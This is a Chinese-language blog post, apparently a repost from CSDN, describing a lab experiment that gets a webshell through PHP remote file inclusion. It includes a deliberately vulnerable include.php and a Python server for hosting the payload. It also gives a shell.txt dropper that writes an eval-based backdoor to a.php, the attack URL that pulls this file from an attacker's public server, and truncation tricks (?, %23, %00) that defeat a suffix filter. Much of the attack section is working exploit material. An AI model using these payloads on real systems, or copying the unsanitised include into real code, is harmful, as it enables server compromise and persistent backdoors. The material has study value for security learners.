远程包含漏洞获取webshell小实验

远程包含漏洞获取webshell小实验

前言

​ 最近刚刚买了个小小的云服务器(哥们也是有服务器的人啦),可以更舒服的进行测试了,测试场景也更加真实,过段时间搭建一个博客,到时候就两边都发文章了。

​ ok,直接开始今天的远程包含漏洞(RFI)小实验

原理

​ 远程包含漏洞往往都是用 http:// 伪协议完成,由于服务器的 php.ini 中开启了 allow_url_open = On 和 allow_url_include = On,并且在php后端代码中,有 include、require等包含函数,其中包含的文件我们可以控制,那么就会形成文件包含漏洞,这里主要讲文件包含漏洞中的远程包含漏洞(本地文件包含其实种类更多)

开始实验

靶机:我们要攻击的一台主机服务器(allow_url_open = On 和 allow_url_include = On,实验时修改 php.ini 即可)

中间攻击机:具有公网ip的主机

攻击机:本机

如上是实验环境,如果中间攻击机能直接连接靶机的话,其实也不需要攻击机(本机)

情况一:

后端对传入文件名不进行过滤,主机服务器后端代码基本上如下:

# 文件名为 include.php
<?php 
// 远程文件包含测试文件
$file = $_GET['file'];
include($file);
?>

如上,我们需要准备一台有公网ip的主机(一般都是远程主机,我这里是云服务器),在云服务器中开启 http 服务,并在服务器中设置木马下载文件,在 url 中让目标主机ip(靶机)访问我们这台云服务器(中间攻击机)的木马下载文件,即可将木马植入靶机中,然后再在攻击机中打开蚁剑连接靶机,即可getshell

# 开启HTTP服务的方法:
1、使用中间件进行开启,比如apache
service apache2 start 开始监听,不过这个要配置过,不是很会
2、直接用python代码搭建一个简易的客户端,如下:监听8000端口
# 纯复制的代码,全是内置库,不是很懂,到时候再学
from http.server import SimpleHTTPRequestHandler
from http.server import CGIHTTPRequestHandler
from http.server import ThreadingHTTPServer
from functools import partial
import os
import contextlib
import sys
import socket

class DualStackServer(ThreadingHTTPServer):
    def server_bind(self):
        # suppress exception when protocol is IPv4
        with contextlib.suppress(Exception):
            self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
        return super().server_bind()


def run(server_class=DualStackServer,
        handler_class=SimpleHTTPRequestHandler,
        port=8000,
        bind='0.0.0.0',
        cgi=False,
        directory=os.getcwd()):
    """Run an HTTP server on port 8000 (or the port argument).

    Args:
        server_class (_type_, optional): Class of server. Defaults to DualStackServer.
        handler_class (_type_, optional): Class of handler. Defaults to SimpleHTTPRequestHandler.
        port (int, optional): Specify alternate port. Defaults to 8000.
        bind (str, optional): Specify alternate bind address. Defaults to '127.0.0.1'.
        cgi (bool, optional): Run as CGI Server. Defaults to False.
        directory (_type_, optional): Specify alternative directory. Defaults to os.getcwd().
    """

    if cgi:
        handler_class = partial(CGIHTTPRequestHandler, directory=directory)
    else:
        handler_class = partial(SimpleHTTPRequestHandler, directory=directory)

    with server_class((bind, port), handler_class) as httpd:
        print(
            f"Serving HTTP on {
      
      bind} port {
      
      port} "
            f"(http://{
      
      bind}:{
      
      port}/) ..."
        )
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\nKeyboard interrupt received, exiting.")
            sys.exit(0)


if __name__ == '__main__':
    run(port=8000, bind='0.0.0.0')
    

# 如上,代码直接放进一个python文件中,然后再在同目录下创建文件,运行py文件后即可用url访问文件
# 安全性很差,单纯只是为了测试
# 在中间攻击机中的木马下载文件 shell.txt:
<?php
$a = "<?php @eval(\$_REQUEST['shell'])?>";
$b = fopen("a.php","w") or die("failed!");
fwrite($b,$a);
echo 'success.';
fclose($b);
?>
# 在攻击机中,我们在浏览器中去访问靶机,并使file包含中间攻击机的木马下载文件,payload如下:
http://主机ip/include.php?file=http://远程服务器/shell.txt

如上,shell.txt中的内容会被靶机的php服务器解析,并在 include.php 同目录下创建一个 a.php ,此时靶机中就安装了一个后门,直接用蚁剑连接即可。

情况二:

对后端进行了简单的过滤,代码变成了这样:

# 文件名为 include.php
<?php 
// 远程文件包含测试文件
$file = $_GET['file'];
include($file . ".html");
?>

这种情况的处理也异常简单,绕过即可

绕过方法

  1. ? 绕过

    http://主机ip/include.php?file=http://远程服务器/shell.txt?

  2. %23 绕过

    http://主机ip/include.php?file=http://远程服务器/shell.txt%23

  3. %20 绕过

  4. %00 绕过

不管是.html还是其他字符串,都可以用这种方法截断,然后下载木马,最终getshell

参考文章:

1、https://blog.csdn.net/qq_42951560/article/details/124218348?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166661817316782248584287%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=166661817316782248584287&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allbaidu_landing_v2~default-2-124218348-null-null.142

2、https://www.likecs.com/show-204958128.html

猜你喜欢

转载自blog.csdn.net/BrosyveryOK/article/details/127515302